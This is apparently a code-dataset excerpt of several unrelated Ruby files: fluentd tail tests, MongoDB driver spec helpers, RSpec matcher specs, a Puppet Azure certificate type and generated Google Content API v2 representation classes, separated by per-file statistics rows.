f.puts "foo 1"
f.puts "bar 1"
f.puts "baz 1"
}
sleep 1
end
emits = d.emits
assert(emits.length > 0)
emits.each do |emit|
assert_equal("#{TMP_DIR}/tail.txt", emit[2]["path"])
end
end
def test_tail_path_with_multiline_with_multiple_paths
files = ["#{TMP_DIR}/tail1.txt", "#{TMP_DIR}/tail2.txt"]
files.each { |file| File.open(file, "wb") { |f| } }
d = create_driver(%[
path #{files[0]},#{files[1]}
path_key path
tag t1
format multiline
format1 /^[s|f] (?<message>.*)/
format_firstline /^[s]/
], false)
d.run do
files.each do |file|
File.open(file, 'ab') { |f|
f.puts "f #{file} line should be ignored"
f.puts "s test1"
f.puts "f test2"
f.puts "f test3"
f.puts "s test4"
}
end
sleep 1
end
emits = d.emits
assert(emits.length == 4)
assert_equal(files, [emits[0][2]["path"], emits[1][2]["path"]].sort)
# "test4" events are here because these events are flushed at shutdown phase
assert_equal(files, [emits[2][2]["path"], emits[3][2]["path"]].sort)
end
end
end
| 28.669661 | 208 | 0.593553 |
ff7b065f159df5520de4ab19cae09f88b867c7a3 | 10,791 | # frozen_string_literal: true
# encoding: utf-8
module CommonShortcuts
module ClassMethods
# Declares a topology double, which is configured to accept summary
# calls as those are used in SDAM event creation
def declare_topology_double
let(:topology) do
double('topology').tap do |topology|
allow(topology).to receive(:summary)
end
end
end
# For tests which require clients to connect, clean slate asks all
# existing clients to be closed prior to the test execution.
# Note that clean_slate closes all clients for each test in the scope.
def clean_slate
before do
ClientRegistry.instance.close_all_clients
BackgroundThreadRegistry.instance.verify_empty!
end
end
# Similar to clean slate but closes clients once before all tests in
# the scope. Use when the tests do not create new clients but do not
# want any background output from previously existing clients.
def clean_slate_for_all
before(:all) do
ClientRegistry.instance.close_all_clients
BackgroundThreadRegistry.instance.verify_empty!
end
end
# If only the lite spec helper was loaded, this method does nothing.
# If the full spec helper was loaded, this method performs the same function
# as clean_state_for_all.
def clean_slate_for_all_if_possible
before(:all) do
if defined?(ClusterTools)
ClientRegistry.instance.close_all_clients
BackgroundThreadRegistry.instance.verify_empty!
end
end
end
# For some reason, there are tests which fail on evergreen either
# intermittently or reliably that always succeed locally.
# Debugging of tests in evergreen is difficult/impossible,
# thus this workaround.
def clean_slate_on_evergreen
before(:all) do
if SpecConfig.instance.ci?
ClientRegistry.instance.close_all_clients
end
end
end
# Applies environment variable overrides in +env+ to the global environment
# (+ENV+) for the duration of each test.
#
# If a key's value in +env+ is nil, this key is removed from +ENV+.
#
# When the test finishes, the values in original +ENV+ that were overridden
# by +env+ are restored. If a key was not in original +ENV+ and was
# overridden by +env+, this key is removed from +ENV+ after the test.
#
# If the environment variables are not known at test definition time
# but are determined at test execution time, pass a block instead of
# the +env+ parameter and return the desired environment variables as
# a Hash from the block.
def local_env(env = nil, &block)
around do |example|
env ||= block.call
# This duplicates ENV.
# Note that ENV.dup produces an Object which does not behave like
# the original ENV, and hence is not usable.
saved_env = ENV.to_h
env.each do |k, v|
if v.nil?
ENV.delete(k)
else
ENV[k] = v
end
end
begin
example.run
ensure
env.each do |k, v|
if saved_env.key?(k)
ENV[k] = saved_env[k]
else
ENV.delete(k)
end
end
end
end
end
def clear_ocsp_cache
before do
Mongo.clear_ocsp_cache
end
end
def with_ocsp_mock(ca_file_path, responder_cert_path, responder_key_path,
fault: nil, port: 8100
)
clear_ocsp_cache
around do |example|
args = [
SpecConfig.instance.ocsp_files_dir.join('ocsp_mock.py').to_s,
'--ca_file', ca_file_path.to_s,
'--ocsp_responder_cert', responder_cert_path.to_s,
'--ocsp_responder_key', responder_key_path.to_s,
'-p', port.to_s,
]
if SpecConfig.instance.client_debug?
# Use when debugging - tests run faster without -v.
args << '-v'
end
if fault
args += ['--fault', fault]
end
process = ChildProcess.new(*args)
process.io.inherit!
retried = false
begin
process.start
rescue
if retried
raise
else
sleep 1
retried = true
retry
end
end
begin
sleep 0.4
example.run
ensure
if process.exited?
raise "Spawned process exited before we stopped it"
end
process.stop
process.wait
end
end
end
end
module InstanceMethods
def kill_all_server_sessions
begin
ClientRegistry.instance.global_client('root_authorized').command(killAllSessions: [])
# killAllSessions also kills the implicit session which the driver uses
# to send this command, as a result it always fails
rescue Mongo::Error::OperationFailure => e
# "operation was interrupted"
unless e.code == 11601
raise
end
end
end
def wait_for_all_servers(cluster)
# Cluster waits for initial round of sdam until the primary
# is discovered, which means by the time a connection is obtained
# here some of the servers in the topology may still be unknown.
# This messes with event expectations below. Therefore, wait for
# all servers in the topology to be checked.
#
# This wait here assumes all addresses specified for the test
# suite are for working servers of the cluster; if this is not
# the case, this test will fail due to exceeding the general
# test timeout eventually.
while cluster.servers_list.any? { |server| server.unknown? }
warn "Waiting for unknown servers in #{cluster.summary}"
sleep 0.25
end
end
def make_server(mode, options = {})
tags = options[:tags] || {}
average_round_trip_time = if mode == :unknown
nil
else
options[:average_round_trip_time] || 0
end
if mode == :unknown
config = {}
else
config = {
'isWritablePrimary' => mode == :primary,
'secondary' => mode == :secondary,
'arbiterOnly' => mode == :arbiter,
'isreplicaset' => mode == :ghost,
'hidden' => mode == :other,
'msg' => mode == :mongos ? 'isdbgrid' : nil,
'tags' => tags,
'ok' => 1,
'minWireVersion' => 2, 'maxWireVersion' => 8,
}
if [:primary, :secondary, :arbiter, :other].include?(mode)
config['setName'] = 'mongodb_set'
end
end
listeners = Mongo::Event::Listeners.new
monitoring = Mongo::Monitoring.new
address = options[:address]
cluster = double('cluster')
allow(cluster).to receive(:topology).and_return(topology)
allow(cluster).to receive(:app_metadata)
allow(cluster).to receive(:options).and_return({})
allow(cluster).to receive(:run_sdam_flow)
allow(cluster).to receive(:monitor_app_metadata)
allow(cluster).to receive(:push_monitor_app_metadata)
allow(cluster).to receive(:heartbeat_interval).and_return(10)
server = Mongo::Server.new(address, cluster, monitoring, listeners,
monitoring_io: false)
# Since the server references a double for the cluster, the server
# must be closed in the scope of the example.
register_server(server)
description = Mongo::Server::Description.new(
address, config,
average_round_trip_time: average_round_trip_time,
)
server.tap do |s|
allow(s).to receive(:description).and_return(description)
end
end
def make_protocol_reply(payload)
Mongo::Protocol::Reply.new.tap do |reply|
reply.instance_variable_set('@flags', [])
reply.instance_variable_set('@documents', [payload])
end
end
def make_not_master_reply
make_protocol_reply(
'ok' => 0, 'code' => 10107, 'errmsg' => 'not master'
)
end
def make_node_recovering_reply
make_protocol_reply(
'ok' => 0, 'code' => 11602, 'errmsg' => 'InterruptedDueToStepDown'
)
end
def make_node_shutting_down_reply
make_protocol_reply(
'ok' => 0, 'code' => 91, 'errmsg' => 'shutdown in progress'
)
end
def register_cluster(cluster)
finalizer = lambda do |cluster|
cluster.disconnect!
end
LocalResourceRegistry.instance.register(cluster, finalizer)
end
def register_server(server)
finalizer = lambda do |server|
if server.connected?
server.disconnect!
end
end
LocalResourceRegistry.instance.register(server, finalizer)
end
def register_background_thread_object(bgt_object)
finalizer = lambda do |bgt_object|
bgt_object.stop!
end
LocalResourceRegistry.instance.register(bgt_object, finalizer)
end
def register_pool(pool)
finalizer = lambda do |pool|
if !pool.closed?
pool.close(wait: true)
end
end
LocalResourceRegistry.instance.register(pool, finalizer)
end
# Stop monitoring threads on the specified clients, after ensuring
# each client has a writable server. Used for tests which assert on
# global side effects like log messages being generated, to prevent
# background threads from interfering with assertions.
def stop_monitoring(*clients)
clients.each do |client|
client.cluster.next_primary
client.cluster.disconnect!
end
end
DNS_INTERFACES = [
[:udp, "0.0.0.0", 5300],
[:tcp, "0.0.0.0", 5300],
]
def mock_dns(config)
semaphore = Mongo::Semaphore.new
thread = Thread.new do
RubyDNS::run_server(DNS_INTERFACES) do
config.each do |(query, type, *answers)|
resource_cls = Resolv::DNS::Resource::IN.const_get(type.to_s.upcase)
resources = answers.map do |answer|
resource_cls.new(*answer)
end
match(query, resource_cls) do |req|
req.add(resources)
end
end
semaphore.signal
end
end
semaphore.wait
begin
yield
ensure
10.times do
if $last_async_task
break
end
sleep 0.5
end
# Hack to stop the server - https://github.com/socketry/rubydns/issues/75
if $last_async_task.nil?
STDERR.puts "No async task - server never started?"
else
$last_async_task.stop
end
thread.kill
thread.join
end
end
end
end
| 29.727273 | 93 | 0.614494 |
915097515d891b56509db91e8a7edf902bf43cac | 617 | def tripple_step(n)
arr = [1, 2, 4]
if n < 1
raise ArgumentError, "should be > 0"
elsif n >= 4
(3..(n - 1)).each do |i|
arr << arr[i - 1] + arr[i - 2] + arr[i - 3]
end
end
arr[n - 1]
end
RSpec.describe 'tripple_step' do
subject { tripple_step(n) }
it do
expect { tripple_step(0) }.to raise_error(ArgumentError)
expect(tripple_step(1)).to eq 1
expect(tripple_step(2)).to eq 2
expect(tripple_step(3)).to eq 4
expect(tripple_step(4)).to eq 7
expect(tripple_step(5)).to eq 13
expect(tripple_step(6)).to eq 24
expect(tripple_step(7)).to eq 44
end
end
| 20.566667 | 60 | 0.60778 |
87c24126b248ce9af7e543299cd30222549f34ed | 1,511 | require File.dirname(__FILE__) + '/../../spec_helper.rb'
module Spec
module Matchers
describe "equal" do
def inspect_object(o)
"#<#{o.class}:#{o.object_id}> => #{o.inspect}"
end
it "should match when actual.equal?(expected)" do
1.should equal(1)
end
it "should not match when !actual.equal?(expected)" do
1.should_not equal("1")
end
it "should describe itself" do
matcher = equal(1)
matcher.matches?(1)
matcher.description.should == "equal 1"
end
it "should provide message on #failure_message" do
expected, actual = "1", "1"
matcher = equal(expected)
matcher.matches?(actual)
matcher.failure_message_for_should.should == <<-MESSAGE
expected #{inspect_object(expected)}
got #{inspect_object(actual)}
Compared using equal?, which compares object identity,
but expected and actual are not the same object. Use
'actual.should == expected' if you don't care about
object identity in this example.
MESSAGE
end
it "should provide message on #negative_failure_message" do
expected = actual = "1"
matcher = equal(expected)
matcher.matches?(actual)
matcher.failure_message_for_should_not.should == <<-MESSAGE
expected not #{inspect_object(expected)}
got #{inspect_object(actual)}
Compared using equal?, which compares object identity.
MESSAGE
end
end
end
end
| 26.051724 | 67 | 0.632694 |
3914a69e2b835560254417e22dfaf03b51912b25 | 80 | require 'webmock/rspec'
WebMock.disable_net_connect!(:allow_localhost => true)
| 20 | 54 | 0.8 |
08798c57fa55f8177d149e041a85bc1b5d0394d2 | 2,012 | require "puppet/parameter/boolean"
# Autogenic core type
Puppet::Type.newtype(:azure_certificate_order_certificate) do
@doc = "Class representing the Key Vault container for certificate purchased through Azure"
ensurable
validate do
required_properties = [
:location,
:certificate_order_name,
:key_vault_certificate,
:resource_group_name,
]
required_properties.each do |property|
# We check for both places so as to cover the puppet resource path as well
if self[:ensure] == :present && self[property].nil? && self.provider.send(property) == :absent
raise Puppet::Error, "In azure_certificate_order_certificate you must provide a value for #{property}"
end
end
end
newproperty(:id) do
desc "Resource Id"
validate do |value|
true
end
end
newproperty(:kind) do
desc "Kind of resource"
validate do |value|
true
end
end
newproperty(:location) do
desc "Resource Location"
validate do |value|
true
end
end
newparam(:name) do
isnamevar
desc "Resource Name"
validate do |value|
true
end
end
newproperty(:properties) do
desc ""
validate do |value|
true
end
end
newproperty(:tags) do
desc "Resource tags"
validate do |value|
true
end
end
newproperty(:type) do
desc "Resource type"
validate do |value|
true
end
end
newparam(:api_version) do
desc "API Version"
validate do |value|
true
end
end
newparam(:certificate_order_name) do
desc "Certificate name"
validate do |value|
true
end
end
newparam(:key_vault_certificate) do
desc "Key Vault secret csm Id"
validate do |value|
true
end
end
newparam(:resource_group_name) do
desc "Azure resource group name"
validate do |value|
true
end
end
newparam(:subscription_id) do
desc "Subscription Id"
validate do |value|
true
end
end
end
| 20.530612 | 110 | 0.650596 |
0388e586730f2079566bd10a62b8c25aa33bcbae | 837 | Pod::Spec.new do |s|
s.name = "PDTSimpleCalendar"
s.version = "0.9.1"
s.summary = "A simple Calendar/Date Picker with a nice iOS7/iOS8 design."
s.description = <<-DESC
Inspired by Square's TimesSquare & Apple Calendar.
Simple Calendar is a simple Date Picker/Calendar View Controller using UICollectionView and a flowLayout.
DESC
s.homepage = "https://github.com/jivesoftware/PDTSimpleCalendar"
s.license = 'Apache License, Version 2.0'
s.author = { "Jerome Miglino" => "[email protected]" }
s.platform = :ios, '6.0'
s.source = { :git => "https://github.com/jivesoftware/PDTSimpleCalendar.git", :tag => s.version.to_s }
s.source_files = 'PDTSimpleCalendar/**/*.{h,m}'
s.requires_arc = true
end
| 38.045455 | 124 | 0.621266 |
620c18b1e7592a7b5d38b8c942b3e7545b2d3a7b | 2,150 | =begin
#SendinBlue API
#SendinBlue provide a RESTFul API that can be used with any languages. With this API, you will be able to : - Manage your campaigns and get the statistics - Manage your contacts - Send transactional Emails and SMS - and much more... You can download our wrappers at https://github.com/orgs/sendinblue **Possible responses** | Code | Message | | :-------------: | ------------- | | 200 | OK. Successful Request | | 201 | OK. Successful Creation | | 202 | OK. Request accepted | | 204 | OK. Successful Update/Deletion | | 400 | Error. Bad Request | | 401 | Error. Authentication Needed | | 402 | Error. Not enough credit, plan upgrade needed | | 403 | Error. Permission denied | | 404 | Error. Object does not exist | | 405 | Error. Method not allowed | | 406 | Error. Not Acceptable |
OpenAPI spec version: 3.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.18
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for SibApiV3Sdk::GetContactCampaignStatsUnsubscriptions
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'GetContactCampaignStatsUnsubscriptions' do
before do
# run before each test
@instance = SibApiV3Sdk::GetContactCampaignStatsUnsubscriptions.new
end
after do
# run after each test
end
describe 'test an instance of GetContactCampaignStatsUnsubscriptions' do
it 'should create an instance of GetContactCampaignStatsUnsubscriptions' do
expect(@instance).to be_instance_of(SibApiV3Sdk::GetContactCampaignStatsUnsubscriptions)
end
end
describe 'test attribute "user_unsubscription"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "admin_unsubscription"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 44.791667 | 839 | 0.718605 |
abf57dce20649dcb2722b5ba9aa9adcfcfa60349 | 191,170 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module ContentV2
class Account
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountAddress
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountAdwordsLink
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountBusinessInformation
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountCustomerService
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountGoogleMyBusinessLink
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountIdentifier
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatus
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusAccountLevelIssue
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusDataQualityIssue
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusExampleItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusItemLevelIssue
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusProducts
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusStatistics
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountTax
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountTaxTaxRule
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountUser
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountYouTubeChannelLink
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsAuthInfoResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsClaimWebsiteResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchAccountsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsCustomBatchRequestEntryLinkRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchAccountsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsLinkRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsLinkResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListAccountsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchAccountStatusesRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusesBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchAccountStatusesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountStatusesBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListAccountStatusesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchAccountTaxRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountTaxBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchAccountTaxResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AccountTaxBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListAccountTaxResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Amount
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BusinessDayConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CarrierRate
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CarriersCarrier
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CustomAttribute
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CustomGroup
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CustomerReturnReason
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CutoffTime
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Datafeed
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedFetchSchedule
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedFormat
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedStatus
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedStatusError
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedStatusExample
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedTarget
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchDatafeedsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedsBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchDatafeedsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedsBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedsFetchNowResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListDatafeedsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchDatafeedStatusesRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedStatusesBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchDatafeedStatusesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatafeedStatusesBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListDatafeedStatusesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DeliveryTime
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Error
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Errors
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class GmbAccounts
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class GmbAccountsGmbAccount
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Headers
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class HolidayCutoff
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class HolidaysHoliday
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Installment
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Inventory
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchInventoryRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class InventoryBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchInventoryResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class InventoryBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class InventoryPickup
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetInventoryRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetInventoryResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class InvoiceSummary
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class InvoiceSummaryAdditionalChargeSummary
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiaAboutPageSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiaCountrySettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiaInventorySettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiaOnDisplayToOrderSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiaPosDataProvider
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiaSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsCustomBatchRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsCustomBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsCustomBatchResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsCustomBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsGetAccessibleGmbAccountsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsListPosDataProvidersResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsListResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsRequestGmbAccessResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsRequestInventoryVerificationResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsSetInventoryVerificationContactResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LiasettingsSetPosDataProviderResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LocationIdSet
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LoyaltyPoints
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MerchantOrderReturn
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MerchantOrderReturnItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Order
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderAddress
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderCancellation
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderCustomer
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderCustomerMarketingRightsInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderDeliveryDetails
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLegacyPromotion
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLegacyPromotionBenefit
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItemProduct
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItemProductFee
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItemProductVariantAttribute
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItemReturnInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItemShippingDetails
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderLineItemShippingDetailsMethod
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderMerchantProvidedAnnotation
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderPaymentMethod
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderPickupDetails
